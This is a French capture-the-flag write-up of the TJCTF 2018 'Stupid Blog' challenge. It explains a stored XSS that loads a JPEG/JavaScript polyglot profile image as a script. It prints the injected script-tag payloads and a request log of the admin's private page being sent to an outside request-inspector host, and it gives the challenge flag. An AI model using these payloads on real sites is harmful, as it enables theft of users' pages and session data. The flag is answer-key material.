CTF / WriteUp

WriteUp TJCTF 2018 – Stupid Blog

 

 

Ce challenge était disponible pour le TJCTF 2018.

Catégorie: Web

Points: 130 pts

Énoncé: I created this blog site, but it doesn’t do much. I did hide a flag on here though. Maybe you can convince the admin user to give it to you?

Cet énoncé nous donne deux indices: il faut convaincre l’utilisateur admin de nous donner le flag. Hummm… le challenge doit surement porter sur une faille de type XSS.

Voici mon analyse du site:

On arrive directement sur une page de login:

 

Première étape: créer un compte. J’ai opté pour un pseudo court ( ici “pp” ), vous comprendrez pourquoi par la suite.

Une fois connecté, on arrive sur une belle page de profil où on peut:

  • Report un utilisateur:

  • Upload une image de profil:

  • Et mettre un Post sur son profil:

Un fait intéressant et qui m’a fait comprendre que le challenge valait ses 130 points, c’est qu’on est limité à 64 caractères pour le Post…

Tentons quelque chose dès le début: on définit Post à <script>alert(1);</script> et surprise !

En effet, si on regarde le code source, on remarque que ce qui est entré dans le champ post est directement concaténé au reste de la page:

Au départ j’ai perdu du temps à chercher comment bypass la limitation des 64 caractères… mais inutile !

J’ai rapidement réalisé que si il y avait un champ pour upload des images, c’était pas pour rien !

On va utiliser l’image comme un script javascript ! Il suffira juste d’utiliser l’image en source de la balise script !

En tentant d’upload un fichier javascript directement ou autre on remarque que l’image ne se change même pas ! Une déduction rapide: il faut donc que ce soit une image “valide”, c’est à dire que les premiers octets du fichier doivent correspondre au magic number d’un JFIF (considéré comme un JPG par le site).

Voici donc le contenu de l’image que j’upload:

Mais TraaaxX, c’est quoi cette variable avec un nom dégueulasse ?

Et bien c’est simple, grâce aux premiers octets, l’image est valide ( en effet, « ÿØÿà » se décompose en « FF D8 FF E0 » qui est le magic number d’un JPG!)

Pour ne pas engendrer d’erreurs javascript, il est nécessaire de rajouter « =0 ; » pour que « ÿØÿà » soit considéré comme une simple variable en javascript (avec un nom bizarre, mais valide !).

Et une fois upload, on se rend a l’adresse https://stupid_blog.tjctf.org/pp/pfp et on voit que notre payload est en ligne ! Bingo !

Ensuite rien de plus simple ! non ?

On met directement <script src=”/pp/pfp”></script> dans post, on report l’utilisateur “pp” à l’admin et c’est gagné !

Et bien non ! Après de longues minutes à chercher je me rend compte (merci chrome) que l’encoding du script javascript n’est pas bon:

Bon… 20 minutes passent et je n’arrive pas à faire en sorte qu’il soit encodé correctement, même en ajoutant charset=”UTF-8″ dans l’appel du script…

Retour aux bases ! On cherche sur notre moteur favori “quels sont les charsets disponibles chez javascript stp ?”.

Finalement, w3school nous donne la réponse: il y a bien le charset “UTF-8”, mais l’encoding standard latin c’est “ISO-8859-1” !

Aïe Aïe Aïe…

Bon, voici mon payload final:

<script src=”/pp/pfp” charset=”ISO-8859-1″></script>

52 caractères, c’est short ! D’où le pseudo relativement court !

On se retrouve sur notre requestinspector, et on récupère la page privée de l’utilisateur.

GET /inspect/01cmqx3c7pa07ekn0ejacjxgn9/%3C!DOCTYPE%20html%3E%3Chtml

%20lang=%22en%22%3E%3Chead%3E%20%20%20%20%3Ctitle%3Eadmin%3C/title%3E%3Cmeta […]%22/vendor/bootstrap/js/bootstrap.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor

/select2/select2.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/tilt/tilt.jquery.min.js

%22%3E%3C/script%3E%3Cscript%20src=%22/js/main.js%22%3E%3C/script%3E%20%20%20

%20tjctf%7B1m4g3_p0lygl0t_1s_w3ird%7D%3C/body%3E%3C/html%3E HTTP/1.1

requestinspector.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1

Accept-Encoding: gzip, deflate

Accept-Language: en,*

Referer: http://localhost:1337/pp

Vous le voyez ? moi oui !

Aller, je vous aide, voila le résultat d’un decoder d’URL (celuilà) :

Et voilà ! 😀 +130 points.

Flag = tjctf{1m4g3_p0lygl0t_1s_w3ird}.

La Bise.

Auteur

Sicarius
Étudiant @ENSIBS et apprenti ingénieur en cybersécurité chez GIE CBP

Commentaires

avril 1, 2019 à 7:02

Thanks, it is quite informative



Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *